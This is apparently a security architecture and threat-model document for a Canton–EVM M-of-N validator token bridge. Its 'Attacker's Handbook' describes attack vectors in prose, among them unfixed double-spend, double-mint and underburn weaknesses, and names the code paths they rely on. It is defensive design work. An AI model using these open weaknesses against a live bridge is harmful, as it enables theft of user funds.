01Executive Summary
▼
What This System Does
A two-way, M-of-N threshold-secured token bridge between the Canton distributed ledger and the Zenith EVM, with cryptographic atomicity enforced at the Daml transaction layer.
The bridge uses a multi-party validator threshold (M-of-N). Every EVM mint requires cryptographic signatures from at least M independent validators. Admin operations on the EVM are time-locked behind a 48-hour governance delay enforced by a TimelockController controlled by a Safe multisig. Atomicity is enforced at the Daml transaction layer via Canton's externalCall primitive.
Current Security Posture
All critical and high vulnerabilities identified during the red-team review phase have been remediated. The system has moved from a devnet-only proof-of-concept (with hardcoded private keys, unauthenticated endpoints, and shell injection) to a hardened architecture with authenticated endpoints, HSM-ready key management, mutual TLS, AML/sanctions screening, SQLite-backed replay prevention, and supply parity monitoring.
The architecture is not yet production-ready. It requires external security audits (Solidity, Daml, backend, cryptographic protocol), completion of the BridgeOperator external party migration, and deployment of production HSM key storage.
Key Risks and Mitigations
| Risk | Mitigation | Residual |
|---|---|---|
| Unlimited EVM minting | M-of-N validator threshold (EVM + Canton), BRIDGE_KEY from env, BRIDGE_API_KEY auth | External audit pending |
| Canton escrow drained without authority | M-of-N secp256k1 in VerifiedBridgeOut, intentHash bound to escrow CID | External audit pending |
| Admin key compromise | TimelockController 48h delay on EVM; ValidatorConfigProposal M-of-N on Canton | Single BridgeAdmin key on Canton |
| Cross-deployment sig replay | bridgeVaultAddress + chainId in intent hash | None |
| Stuck bridge funds | Supply parity monitor, recovery runbook, 1-hour escrow expiry with user cancellation | No persistent operation journal |
| Validator collusion | Minimum M colluders required; Safe governs validator set changes | Depends on M/N choice |
02Architecture Overview
▼
The bridge comprises three logical planes: the Canton ledger (custody and authorization), the Bridge Backend (coordination and orchestration), and the Zenith EVM (settlement and token issuance). Within these planes, seven distinct components interact across four trust boundaries.
System Topology
Canton Wallet] CN[Canton Network
BridgeWorkflow] BO[BridgeOperator
Canton Party] CO[Coordinator
Node.js] V1[Validator 1
secp256k1] V2[Validator 2
secp256k1] VN[Validator N
secp256k1] BV[BridgeVault.sol
EVM] BT[BridgedTokenV1
ERC-20] TL[TimelockController
48h delay] SM[Safe Multisig
Proposer] EU -->|"Allocate / BridgeIn choice"| CN CN -->|"BridgeOperation ACS"| BO BO -->|"SettlementIntent"| CO CO -->|"POST /sign"| V1 CO -->|"POST /sign"| V2 CO -->|"POST /sign"| VN V1 & V2 & VN -->|"secp256k1 sigs"| CO CO -->|"executeMint(M sigs)"| BV BV -->|"mint()"| BT SM -->|"propose()"| TL TL -->|"48h delay → execute()"| BV
Components
Canton Network
BridgeWorkflow
BridgeEscrowHolding
ValidatorConfigProposal
Coordinator
Validator Network
BridgeVault
BridgedTokenV1
TimelockController
Trust Boundaries
| Boundary | Description | Controls |
|---|---|---|
| Canton ↔ Bridge Backend | The bridge backend interacts with Canton exclusively through the Canton HTTP Ledger API v2 (participant1, port 5013). All requests are authenticated with a Canton JWT token scoped to the BridgeOperato… |
|
| Coordinator ↔ Validators | The SignatureCoordinator communicates with each validator node via HTTPS POST to /api/sign-settlement-intent. In production, this channel is secured by mutual TLS: the coordinator presents its client … |
|
| Validators ↔ EVM | Validators do not interact with the EVM directly. Their secp256k1 signatures are aggregated by the coordinator, which submits the full signature bundle to BridgeVault.executeMint. The EVM verifies val… |
|
| EVM Governance (Safe → TimelockController → BridgeVault) | All BridgeVault admin operations (validator set changes, threshold changes, pause/unpause, mint authority transfer) flow through the TimelockController. The Safe multisig proposes actions; the Timeloc… |
|
Party Model
Canton's party model is the foundation of the bridge's authorization architecture. A party is a Canton-native identity (Ed25519 key pair) hosted on a participant node, which is responsible for signing transactions on that party's behalf. A party can only act within the constraints of Daml contracts: it can only exercise choices where the Daml model designates it as a controller, and it can only observe contracts where it is a signatory or observer. The Canton runtime enforces these constraints a…
| Party | Hosted By | Can Do | Cannot Do |
|---|---|---|---|
| EndUser | participant1 (user's own Canton participant in production) |
|
|
| BridgeOperator | participant1 (bridge operator infrastructure) |
|
|
| BridgeAdmin | participant1 (bridge operator infrastructure, same participant as BridgeOperator in Phase 1) |
|
|
| Validator (×N) | independent validator participant nodes (participant1 = Validator1, participant2 = Validator2, …) |
|
|
| TokenIssuer | participant3 |
|
|
Trust Model
The bridge operates under a layered trust model where no single party is trusted with unilateral control over user funds. **BridgeOperator** is the most privileged Canton party — it is the signatory on BridgeWorkflow and the custodian of all BridgeEscrowHolding contracts. If the BridgeOperator's key is compromised, an attacker can: pause the bridge (SetGlobalPause on BridgeRegistry), attempt to exercise BridgeOut (but this is gated behind devMode=False in production, so VerifiedBridgeOut is the only path), and attempt to release escrows — but VerifiedBridgeOut requires M-of-N secp256k1 signatures from validator keys the BridgeOperator does not hold. A compromised BridgeOperator cannot mint EVM tokens (that requires M validator signatures at the BridgeVault layer) or release Canton escrow without M-of-N validator signatures (that requires M valid secp256k1 signatures in the Daml contract). The BridgeOperator can force-cancel BridgeOperation records (returning tokens to users) and propose validator config changes — but cannot execute those changes without M-of-N BridgeAdmin approval. **Coordinator** is an off-chain aggregation component. If the coordinator is completely compromised, an attacker can: view all settlement intent parameters, attempt to substitute different parameters — but intent fields are verified against the Canton ACS before validators sign, and validators independently verify the intent hash. A compromised coordinator cannot forge valid secp256k1 signatures without access to M validator private keys. It can deny service (refuse to aggregate signatures), causing bridge operations to time out — users can cancel after 1 hour and recover their Canton-side tokens. The coordinator cannot manufacture a valid sig bundle that Canton's VerifiedBridgeOut or EVM's BridgeVault will accept. **M-1 validator collude**: If fewer than M validators collude (M-1 compromises), they cannot produce a valid signature bundle. M signatures are required at both the EVM (ecrecover threshold in BridgeVault) and on Canton (DA.Crypto.Text.secp256k1 threshold in VerifiedBridgeOut). The minimum trust assumption is that at least N-M+1 validators are honest and independent at any given time. **M validators collude**: If M or more validators collude with a malicious coordinator, they can produce valid sig bundles. On the Canton side, they can exercise VerifiedBridgeOut to release any BridgeEscrowHolding to any recipient (catastrophic). On the EVM side, they can call executeMint for any amount (catastrophic). This is the fundamental threshold assumption of the bridge — the security of the system reduces to the assumption that fewer than M validators can be simultaneously compromised or colluding. **EVM governance compromise**: If the Safe multisig is compromised, an attacker can propose validator set changes to BridgeVault, but cannot execute them for 48 hours. This window allows the community to detect the attack and validators to pause the bridge. The TimelockController's 48-hour delay is the primary defense here. **Canton governance compromise**: ValidatorConfigProposal requires adminApprovalThreshold of the bridgeAdmins list — the same M-of-N logic applies to validator set rotation on Canton. **Minimum trust assumption**: The system is secure if, at any point in time, no M-or-more validators are simultaneously compromised, the Canton runtime is operating correctly, and the TimelockController has not been bypassed. The bridge cannot guarantee safety under a simultaneous M-validator compromise + coordinator compromise — this is a fundamental property of any M-of-N threshold scheme.
03How It Works — Bridge Flows
▼
Bridge-In Flow (Canton → EVM)
High-level description: a user locks their Canton FungibleHolding tokens into a BridgeEscrowHolding under BridgeOperator custody. The bridge backend detects the lock, constructs a SettlementIntent, collects M-of-N secp256k1 signatures from independent validator nodes, and exercises the BridgeIn choice on Canton. That single Canton transaction atomically: (a) settles the CIP-56 Allocation, (b) creates the BridgeEscrowHolding with a 1-hour expiry, (c) executes the EVM mint via ZenithVB DelegatedApplyTransactionWithReceipt, and (d) asserts EVM success. If any sub-step fails, the entire Canton tra…
Step-by-Step
Bridge-Out Flow (EVM → Canton)
High-level description: a user burns their BridgedToken ERC-20 tokens, the bridge backend observes the burn on-chain, constructs a SettlementIntent bound to the specific Canton BridgeEscrowHolding, collects M-of-N secp256k1 signatures from validators, and exercises VerifiedBridgeOut on Canton. That single Canton transaction atomically: (a) verifies M-of-N signatures in-contract using DA.Crypto.Text.secp256k1, (b) asserts intentEscrowContractId matches the escrow being consumed (SEC-1 fix), (c) executes the EVM burn via ZenithVB externalCall, (d) releases the escrow via ReleaseFromEscrow, and (…
Step-by-Step
04Cryptographic Architecture
▼
Overview
The Canton-EVM bridge employs two distinct signature schemes, each matched to the verification capabilities of the layer it serves: secp256k1 (ECDSA) for EVM verification and for in-Daml settlement intent verification; Ed25519 for Canton Ledger API transaction signing. secp256k1 is used for settlement intent signing because EVM's native ecrecover opcode is defined over the secp256k1 curve, and because DA.Crypto.Text.secp256k1 provides equivalent in-contract verification in Daml. This allows the same 33-byte compressed validator key to authorise actions on both the EVM (via BridgeVault.executeMint + ecrecover) and on Canton (via VerifiedBridgeOut + DA.Crypto.Text.secp256k1), ensuring a single validator key pool enforces both legs of a bridge operation. Ed25519 is used for Canton Ledger AP…
3 Key Types
| Key | Curve | Purpose | Storage | Rotation |
|---|---|---|---|---|
| Validator secp256k1 keys | secp256k1 (SECG P-256k1 / ANSI… |
Sign SettlementIntents for both EVM-side mint authorisation (BridgeVault.executeMint) and Canton-side escrow release authorisation (VerifiedBridgeOut). The same key is used for both directions — a sin… | Production: AWS KMS ECC_SECG_P256K1 key (KmsSigner); private key never leaves KMS hardware. Devnet: 32-byte raw private … | Via ValidatorConfigProposal on Canton (M-of-N admin approval, deadline-bound) and via BridgeVault.ad… |
| BridgeOperator Ed25519 keys | Ed25519 (RFC 8032) |
Sign Canton Ledger API interactive submission transactions on behalf of the BridgeOperator party. After the external party migration completes, each validator will hold one Ed25519 key registered unde… | Production (post-migration): HSM or KMS per validator node. Current / pre-migration: not applicable (participant-hosted … | Via Canton topology PartyToKeyMapping update (requires Canton domain operator governance). |
| EndUser Ed25519 keys | Ed25519 (RFC 8032) |
Sign Canton Ledger API interactive submission transactions (CIP-103) for bridge-in allocation and bridge-out acceptance. In browser flows the key never leaves the browser: the WebCrypto API (SubtleCry… | Browser: WebCrypto non-extractable key. Headless/CI: ENDUSER_SIGNING_KEY env var (32-byte hex seed). | User-controlled. Canton party re-registration or key ceremony required to rotate. |
SettlementIntent Encoding
A SettlementIntent is the canonical off-chain data structure that validators sign and that the coordinator aggregates into a sig bundle. Its deterministic binary encoding is the single source of truth (settlement-intent.js); all parties — coordinator, validator nodes, and Daml contracts — must produce identical bytes from the same field values. FIELDS AND THEIR SECURITY RATIONALE version (uint32 BE, 4 bytes, currently = 1) Allows the encoding format to evolve without ambiguity. A validator running an older version will reject an intent with an unknown version rather than silently misinte…
- 1. Serialize each field to bytes: version as 4-byte uint32 BE; variable-length strings as 4-byte uint32 BE length prefix + UTF-8 bytes; amount/nonce/deadline/chainId as 8-byte uint64 BE (BigInt, no floating point).
- 2. Concatenate in order: version | escrowContractId | recipient | amount | assetId | nonce | deadline | bridgeVaultAddress | chainId
- 3. intentHash = keccak256(concatenatedBytes) — 32-byte digest, matches EVM keccak256 opcode
- 4. signingDigest = sha256(intentHash) — 32-byte digest; double-hash convention: outer sha256 required by DA.Crypto.Text.secp256k1 internal pre-hashing
- 5. Each validator: sig = secp256k1.sign(signingDigest, validatorPrivKey) — 64-byte compact (r || s); SoftwareKeySigner uses @noble/secp256k1 signSync({der:false}); KmsSigner uses AWS KMS ECDSA_SHA_256 and converts DER output to compact
- 6. Coordinator verifies each returned sig: secp.verify(sig, sha256(intentHash), pubKey) before counting it; deduplicates by publicKey (hex); discards if intentHash echoed by validator does not match coordinator's own computation
- 7. BridgeVault.executeMint: each sig is passed as 65-byte (r || s || v) EIP-712 sig over the MintIntent struct hash; ecrecover(eip712Digest, v, r, s) recovers the signer address; address must be in validatorSet; sigs must be sorted ascending by recovered address
- 8. VerifiedBridgeOut (Canton): DA.Crypto.Text.secp256k1(sig, intentHash, pk) — function internally computes sha256(bytes(intentHash)) then ECDSA verifies; only pubkeys in validatorPubKeys counted; dedup applied
EIP-712 Typed Data
BridgeVault uses EIP-712 (Ethereum typed structured data signing) for the MintIntent authorisation path. EIP-712 provides two protections beyond raw ecrecover: 1. DOMAIN BINDING: Every signature includes a domain separator that encodes the contract name, version, chainId, and verifying contract address. A signature produced for one BridgeVault deployment is cryptographically distinct from a signature for any other deployment or chain, even if the struct fields are identical. This prevents cross-contract and cross-chain replay without encoding those values in every signed message. …
| Domain Field |
|---|
name = keccak256('BridgeVault') |
version = keccak256('1') |
chainId = immutable _chainId (block.chainid at deployment) |
verifyingContract = address(this) |
TypeHash: keccak256("MintIntent(address to,uint256 amount,bytes32 intentId,uint256 deadline)")
Dual-Layer M-of-N Threshold Enforcement
≥ threshold] DAML --> DC[DA.Crypto.Text.secp256k1
≥ threshold]
The bridge enforces M-of-N validator consensus at three independent layers. An attacker must subvert every applicable layer simultaneously to execute an unauthorised operation. LAYER 1: BridgeVault.executeMint (EVM) Enforces M-of-N for the bridge-in (Canton → EVM) mint path. Implementation (executeMint function): - Computes EIP-712 digest from the MintIntent fields - Iterates over the signatures[] array: signer = _recoverSigner(digest, sig) ← ecrecover with s-value check require signer > lastSigner ← ascending sort enforces unique addresses require validatorSet[signer] ← signer must be in the registered validator set - require validCount >= threshold ← ThresholdNotMet reverts if insufficient - usedIntents[intentId]…
Signature Malleability Protection
secp256k1 ECDSA signatures are malleable: for any valid (r, s) signature, (r, n - s) is also a valid signature over the same digest for the same key, where n is the curve order. Both signatures ecrecover to the same Ethereum address. Without countermeasures, an attacker who observes a valid signature can produce a second valid signature and: (a) Submit a transaction with a different txHash (for Ethereum transactions) — irrelevant here since validators sign arbitrary digests, not transactions (b) More critically in the bridge context: create two distinct (r, s) and (r, n-s) signature…
Replay Protection
The bridge uses three independent replay prevention mechanisms. Each targets a different attack vector; together they provide defence in depth. LAYER 1: BridgeVault.usedIntents (EVM, on-chain) mapping(bytes32 => bool) public usedIntents In executeMint, the contract checks: if (usedIntents[intentId]) revert IntentAlreadyUsed() After all checks pass and before calling mint(): usedIntents[intentId] = true intentId is a bytes32 uniquely derived from the Canton transaction and escrow contract ID (keccak256(cantonTxId, escrowCid) is the recommended construction). Once marked true, in…
Canton Transaction Signing (Ed25519 / CIP-103)
Canton Ledger API v2 supports interactive (external signer) transaction submission via the /v2/interactive/submissions/prepare and /v2/interactive/submissions/submit endpoints (also referred to as the CIP-103 external party protocol). This flow allows parties whose keys are not held by a Canton participant node to submit transactions. The bridge uses this flow in two contexts: 1. END USER BRIDGE-IN / BRIDGE-OUT (active) The EndUser party is allocated with an Ed25519 key pair. To initiate a bridge-in or bridge-out, the user (or the headless server-side signer) follows this sequence: …
05Attacker's Handbook
▼
Every known attack vector against this bridge, with precise mitigations. An attacker reading this document should feel the design team has already thought of everything they're thinking of. That is the point.
Signature Forgery & Cryptographic Attacks
Attacks targeting the secp256k1 signing layer used by validators to authorize every bridge settlement. Breaking this layer would allow minting without valid Canton escrow.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Forge validator signatures without the private key | Mitigated | secp256k1 signatures require knowledge of the private key. Without breaking ECDLP (computationally infeasible with current and near-future hardware), an attacker cannot generate a … | |
|
Execute an unauthorized executeMint by producing M seemingly-valid secp256k1 signatures without possessing M validator private keys secp256k1 signatures require knowledge of the private key. Without breaking ECDLP (computationally infeasible with current and near-future hardware), an attacker cannot generate a valid signature for a validator's Ethereum address. Even a structurally valid-looking sig from an unknown address is rejected: BridgeVault.executeMint calls _recoverSigner() which recovers the signing address via ecrecover, then checks validatorSet[recovered] — a sig from any address not in the enumerated validator set does not increment validCount. Furthermore, signatures are sorted ascending by signer address (BridgeVault.sol:184-189), and any duplicate signer triggers a DuplicateSigner revert, so an attacker cannot pad with copies of one stolen sig.
|
|||
| Replay a previously valid signature bundle on the same chain and vault | Mitigated | BridgeVault maintains a usedIntents[intentId] mapping (BridgeVault.sol:196-198). intentId is the keccak256 hash of the full EIP-712 encoded MintIntent, which includes a nonce assig… | |
|
Re-submit a captured M-of-N sig bundle that was valid for a past BridgeIn, triggering a second executeMint for the same escrow BridgeVault maintains a usedIntents[intentId] mapping (BridgeVault.sol:196-198). intentId is the keccak256 hash of the full EIP-712 encoded MintIntent, which includes a nonce assigned by the SQLite-backed NonceStore before the intent is sent to validators. The nonce is monotonically increasing and never reused (SqliteNonceStore.addNonce throws on duplicate). Once a mint executes, usedIntents[intentId] is set to true, and any re-submission of the identical sig bundle reverts with IntentAlreadyUsed. Even if the attacker varies one field, the intentHash changes and the captured signatures no longer verify over the new digest — forging new sigs requires all M private keys.
|
|||
| Replay a valid sig bundle on a different chain (cross-chain replay) | Mitigated | The EIP-712 DOMAIN_SEPARATOR embedded in every MintIntent digest is computed at BridgeVault deployment from block.chainid (captured as immutable _chainId, BridgeVault.sol:43-47). A… | |
|
Submit a sig bundle captured from chain A (e.g., testnet) against BridgeVault on chain B (mainnet) to mint tokens without a valid Canton escrow on chain B The EIP-712 DOMAIN_SEPARATOR embedded in every MintIntent digest is computed at BridgeVault deployment from block.chainid (captured as immutable _chainId, BridgeVault.sol:43-47). A sig bundle signed on chain A encodes chainId_A into its intentHash. When submitted to chain B, the BridgeVault reconstructs the digest using chainId_B — the recovered signer addresses will be garbage (not matching any validatorSet entry), producing validCount=0 and reverting with ThresholdNotMet. Additionally, the makeIntent encoding in settlement-intent.js includes both bridgeVaultAddress and chainId as explicit fields, so the hash is doubly chain-specific.
|
|||
| Replay a valid sig bundle against a different BridgeVault deployment (same chain) | Mitigated | address(this) — the BridgeVault's own contract address — is included in the EIP-712 DOMAIN_SEPARATOR computed at deployment. Two BridgeVault contracts on the same chain have differ… | |
|
Submit a sig bundle from a legitimate bridge deployment against a second BridgeVault on the same chain to mint without escrow address(this) — the BridgeVault's own contract address — is included in the EIP-712 DOMAIN_SEPARATOR computed at deployment. Two BridgeVault contracts on the same chain have different addresses, so their DOMAIN_SEPARATORs are different. A sig bundle signed for vault A encodes address(vault_A) into every intentHash; when reconstructed by vault B (using address(vault_B)), ecrecover produces unrecognized addresses and validCount stays at zero. The explicit bridgeVaultAddress field in the makeIntent encoding (settlement-intent.js) provides the same binding at the off-chain layer, ensuring validators refuse to sign for the wrong vault address.
|
|||
| Exploit secp256k1 signature malleability to create a second valid signature from one | Mitigated | secp256k1 admits two valid (s, v) pairs for any (r): the canonical (s, v) and a malleable (secp256k1n - s, v'). BridgeVault._recoverSigner explicitly rejects high-s signatures: the… | |
|
Given a valid (r, s, v) signature, produce (r, s', v') that also passes ecrecover and BridgeVault validation, to either replay or double-count a validator secp256k1 admits two valid (s, v) pairs for any (r): the canonical (s, v) and a malleable (secp256k1n - s, v'). BridgeVault._recoverSigner explicitly rejects high-s signatures: the check at line 294 requires s ≤ 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 (EIP-2, enforced also by Ethereum mempool). A malleable signature with s' > secp256k1n/2 reverts immediately in _recoverSigner before any ecrecover call, so the attacker cannot manufacture a second valid sig-appearance from one captured signature. Both canonical forms recover the same address anyway, so even if accepted, the dedup logic would reject the duplicate signer.
|
|||
| Exploit ecrecover returning address(0) for an invalid signature to fake a validator | Mitigated | BridgeVault._recoverSigner at line 181 contains an explicit check: if (signer == address(0)) revert InvalidSignature(). This guard runs before any validatorSet lookup, so even if a… | |
|
Supply a crafted signature that causes ecrecover to return address(0), and ensure address(0) is in the validator set to fraudulently contribute to the signature count BridgeVault._recoverSigner at line 181 contains an explicit check: if (signer == address(0)) revert InvalidSignature(). This guard runs before any validatorSet lookup, so even if a degenerate (r, s, v) combination causes ecrecover to return zero, the call reverts rather than ever consulting the validator set. Furthermore, the validator set is managed by addValidator/removeValidator which both check for address(0) and revert ZeroAddress() — so address(0) can never legitimately be added to the set. Defense is layered: the zero-address guard in _recoverSigner is an independent second line.
|
|||
| Forge Canton Ed25519 signatures for BridgeOperator operations | Mitigated | Ed25519 is based on the discrete log problem over the Edwards25519 curve; forgery without the private key is computationally infeasible. Canton's PartyToKeyMapping layer enforces t… | |
|
Produce a fake Ed25519 multi-party signature that passes Canton's PartyToKeyMapping enforcement, submitting an unauthorized VerifiedBridgeOut or ValidatorConfigChange Ed25519 is based on the discrete log problem over the Edwards25519 curve; forgery without the private key is computationally infeasible. Canton's PartyToKeyMapping layer enforces that BridgeOperator transactions carry Ed25519 signatures from the mapped keys at the Canton topology level — this enforcement is baked into the Canton sequencer and cannot be bypassed by an off-chain attacker. Post-BridgeOperator-migration (BRIDGE_OPERATOR_EXTERNAL=true), M-of-N Ed25519 signatures from the validator set are required, matching the same threshold applied to secp256k1 intents. A single key compromise is insufficient; M validators must collude.
|
|||
Validator Compromise & Collusion
Attacks that require compromising or colluding with validator nodes. The bridge is designed so that sub-threshold collusion is harmless, and supra-threshold collusion is the explicit residual risk documented in known_residual_risks.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Compromise fewer than M validators (sub-threshold compromise) | Mitigated | BridgeVault.executeMint counts ecrecover-verified signers that are in validatorSet and accumulates validCount. The final check is validCount >= threshold (BridgeVault.sol:193). Wit… | |
|
Compromise up to M-1 validator keys, use them to sign unauthorized intents, and hope that is sufficient to call executeMint BridgeVault.executeMint counts ecrecover-verified signers that are in validatorSet and accumulates validCount. The final check is validCount >= threshold (BridgeVault.sol:193). With M-1 compromised keys and no honest validators cooperating, validCount = M-1 < threshold → ThresholdNotMet revert. The same check applies on the Canton side: VerifiedBridgeOut at Bridge.daml:605-613 counts valid secp256k1 sigs and asserts length(validSigs) >= threshold. Sub-threshold compromise affects neither leg of the bridge. The protocol is designed with this as its primary safety property.
|
|||
| Equivocation double-mint: M colluding validators sign two intents for the same escrow with different recipients | Partial | This attack requires exactly M colluding validators. The current partial mitigation is the usedIntents dedup by intentHash — both bundles have different intentHashes (recipient dif… | |
|
Sign two valid M-of-N bundles covering the same Canton escrow — Intent A (to=victim) and Intent B (to=attacker) — then execute both mints, inflating EVM supply beyond Canton backing This attack requires exactly M colluding validators. The current partial mitigation is the usedIntents dedup by intentHash — both bundles have different intentHashes (recipient differs), so both can execute independently. The planned complete fix is BridgeVault.usedEscrows: a mapping from escrowContractId to bool that gates executeMint and ensures no escrow contributes to more than one successful mint regardless of recipient. This mapping is tracked as a Wave 4 hardening item (see known_residual_risks). Additionally, the supply parity monitor will detect any inflation and can trigger a bridge halt, providing detective control while the preventive control is implemented. critical — see known_residual_risks: equivocation-double-mint-via-m-colluding-validators
|
|||
| Selective signing censorship: Byzantine validators refuse to sign operations for specific users | Residual | With a production validator set of N≥5 and M=3, a single Byzantine validator refusing to sign merely reduces available sigs from 5 to 4, still exceeding threshold. Censorship requi… | |
|
Target a specific user's bridge operations by having N-M+1 validators silently refuse to sign their intents, making censorship indistinguishable from network failure With a production validator set of N≥5 and M=3, a single Byzantine validator refusing to sign merely reduces available sigs from 5 to 4, still exceeding threshold. Censorship requires N-M+1 Byzantine validators acting in concert. The coordinator's structured per-intent response logging (planned hardening) enables correlation: if validator V never signs intents for user U, that pattern becomes visible in aggregated metrics. mTLS authentication identifies exactly which validator is failing, ruling out network impersonation as an alibi. Users whose operations are censored receive automatic refund via the 1-hour escrow expiry path.
|
|||
| Validator time-waste attack: Byzantine validator responds at 29.9 seconds per signing request | Mitigated | The per-validator HTTP timeout in coordinator.js is VALIDATOR_TIMEOUT_MS = 30_000. A validator responding at the timeout boundary contributes a valid signature (no attack surface f… | |
|
Maximize coordinator latency by always responding just under the 30s timeout, degrading throughput without triggering alerts The per-validator HTTP timeout in coordinator.js is VALIDATOR_TIMEOUT_MS = 30_000. A validator responding at the timeout boundary contributes a valid signature (no attack surface for funds), it merely degrades UX. The planned fix adds a per-validator response deadline derived from intentDeadline: validatorTimeoutMs = min(DEFAULT_TIMEOUT, intentDeadline - now() - SUBMISSION_BUFFER). This ensures slow validators do not push intent signatures past their on-chain deadline. The supply parity monitor and admin SSE stream surface throughput degradation. A consistently slow validator can be flagged via median signing latency monitoring and rotated out via governance.
|
|||
| Validator front-running: Byzantine validator submits executeMint before the coordinator to waste gas | Mitigated | The validator knows the intentHash (they echoed it back) and could construct the executeMint call. However, tokens go to the correct recipient encoded in the signed intent — the at… | |
|
After signing a SettlementIntent, a validator submits their own executeMint call with higher gas, causing the coordinator's call to fail with IntentAlreadyUsed The validator knows the intentHash (they echoed it back) and could construct the executeMint call. However, tokens go to the correct recipient encoded in the signed intent — the attacker cannot redirect funds; the only harm is wasting the coordinator's gas. The planned fix treats IntentAlreadyUsed as a success if the EVM mint log confirms tokens reached the intended recipient (verified via event log query), eliminating the gas waste. Using a private RPC or MEV-protected submission path for executeMint further closes this window. This is economic griefing with no funds-theft surface.
|
|||
| Exploit old secp256k1 sig bundles valid in the window between rotation approval and key removal | Mitigated | EVM validator set changes require Safe multisig → TimelockController → 48-hour delay → removeValidator/addValidator execution. The 48-hour window is long enough to detect and rejec… | |
|
Pre-sign intents speculatively with a about-to-be-rotated validator key, then submit them after the rotation vote passes but before the new validator set takes effect on-chain EVM validator set changes require Safe multisig → TimelockController → 48-hour delay → removeValidator/addValidator execution. The 48-hour window is long enough to detect and reject in-flight bundles. At execution time, BridgeVault checks validatorSet[signer] at that moment — if the key was removed before executeMint lands, the recovered signer is not in the current set and validCount is not incremented. The Canton side equivalently checks elem pk validatorPubKeys at execution time. The coordinator does not persist sig bundles to disk; a crash requires full re-collection, naturally invalidating stale sigs. The residual window is narrow: EVM timelock makes it essentially impossible to exploit before removal is effective.
|
|||
Double-Spend & Supply Manipulation
Attacks targeting the 1:1 supply invariant between Canton-locked tokens and EVM-minted tokens. These are the highest-value attacks because they create unbacked tokens.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Post-mint double-spend via CancelBridgeIn after escrow expires | Partial | This attack is a known vulnerability (rt2-bugs-4 FIND-1) and is on the critical path for Wave 4 hardening. The current code contains no on-chain check that EVM tokens were burned b… | |
|
Complete a bridge-in (EVM tokens minted), wait for the 1-hour escrow expiry, then call CancelBridgeIn to also recover the Canton tokens — holding both sets simultaneously This attack is a known vulnerability (rt2-bugs-4 FIND-1) and is on the critical path for Wave 4 hardening. The current code contains no on-chain check that EVM tokens were burned before CancelBridgeIn releases the Canton escrow. The planned fix requires CancelBridgeIn to verify that BridgeVault.usedIntents[intentId] == false (i.e., no successful EVM mint occurred for this escrow) before releasing. Operationally, the BridgeOperator monitors for this pattern via the supply parity monitor; any inflation triggers an immediate bridge halt and investigation. The 1-hour window is intentionally short to limit the economic damage window during the pre-fix deployment period. critical — see known_residual_risks: post-mint-double-spend-via-cancelbridgein
|
|||
| Coordinator restart double-mint: same escrow processed twice with different nonces | Partial | This is the primary residual risk documented in SECURITY.md and Wave 4 hardening target. The root cause is twofold: (1) CantonWatcher._seen is in-memory only, so restart re-emits a… | |
|
Trigger a coordinator restart while a BridgeOperation is active; the restarted coordinator re-processes the same escrow with a fresh Date.now() nonce, producing a different intentHash that bypasses usedIntents This is the primary residual risk documented in SECURITY.md and Wave 4 hardening target. The root cause is twofold: (1) CantonWatcher._seen is in-memory only, so restart re-emits all active ACS contracts; (2) nonce = BigInt(Date.now()) generates a fresh intentHash on each retry, bypassing usedIntents. The planned fix is deterministic nonce assignment: the coordinator writes a (contractId → nonce) mapping to SQLite before sending to validators, and on restart reloads this mapping so the same contractId always produces the same intentHash. The complementary fix is BridgeVault.usedEscrows: dedup by escrowContractId so even a different-nonce retry is rejected if the escrow already produced a successful mint. Until both fixes land, the supply parity monitor provides detective control and the 1-hour escrow TTL limits the attack window. critical — see known_residual_risks: coordinator-restart-double-mint
|
|||
| Dual coordinator instances race: two coordinators process the same escrow simultaneously | Partial | Two concurrent coordinator instances both have empty _seen Sets and will independently emit and process the same BridgeOperation. Their Date.now() nonces differ (unless same millis… | |
|
Start or crash-restart the coordinator while a second instance is already running; both process the same BridgeOperation with different nonces, potentially executing two mints Two concurrent coordinator instances both have empty _seen Sets and will independently emit and process the same BridgeOperation. Their Date.now() nonces differ (unless same millisecond), producing different intentHashes that are each unblocked by usedIntents. The planned process-lock fix (coordinator.lock PID file) prevents a second instance from starting if one is already running. For multi-host deployments, a Redis SETNX distributed lock provides the same guarantee. The definitive on-chain fix is BridgeVault.usedEscrows which makes this a no-funds-loss scenario regardless of how many coordinator instances race: the second executeMint for the same escrow reverts at the EVM level. The SQLite nonce store's file-level locking provides a partial guard in single-host deployments if both instances share the same DB path. critical — see known_residual_risks: dual-coordinator-double-mint-race
|
|||
| Expiry race: EVM mint submitted after Canton escrow already archived via ExpireBridgeEscrow | Partial | The race window requires: (1) coordinator crashes mid-operation, (2) restarts just before expiry, (3) expiry job fires concurrently, and (4) the EVM mint is pre-signed with nonce=D… | |
|
Engineer a coordinator crash and restart that straddles the escrow expiry boundary; the expiry job returns tokens to the user, but the restarted coordinator also submits an EVM mint The race window requires: (1) coordinator crashes mid-operation, (2) restarts just before expiry, (3) expiry job fires concurrently, and (4) the EVM mint is pre-signed with nonce=Date.now() and succeeds because BridgeVault hasn't seen this intentHash. Canton does not atomically decide between settlement and expiry paths. The planned fixes are: a persistent settlement journal that the expiry job checks before executing (if contractId has a committed mint entry, skip expiry), and a SettleOrExpire consuming choice on Canton that atomically selects one path. BridgeVault usedEscrows also contributes: if the escrow was committed, the EVM rejects any second mint. critical — see known_residual_risks: expiry-race-double-spend
|
|||
| Underburn attack: bridge-out with amount=1000 but burn tx only burns amount=1 | Partial | The server.js bridge-out handler calls cast receipt to confirm the burn tx, but SECURITY.md's claim that 'bridge parses burn event to extract authoritative amount' is not yet imple… | |
|
Construct a burn tx for a small amount, POST bridge-out-request with a large amount in the JSON body; validators sign over the JSON amount without verifying the on-chain burn event The server.js bridge-out handler calls cast receipt to confirm the burn tx, but SECURITY.md's claim that 'bridge parses burn event to extract authoritative amount' is not yet implemented — this is rt2-bugs-4 FIND-3, tracked as a Wave 4 fix. The planned mitigation parses the Transfer(user, address(0), amount) event from the burn tx receipt and asserts it equals the escrow holding amount before constructing the SettlementIntent. Until deployed, the operational control is that bridge-out requires a pre-matched escrow on Canton whose amount is set at bridge-in time by the BridgeOperator, not by user input. An underburn would create a supply imbalance immediately visible to the parity monitor. high — see known_residual_risks: underburn-attack-burn-amount-unverified
|
|||
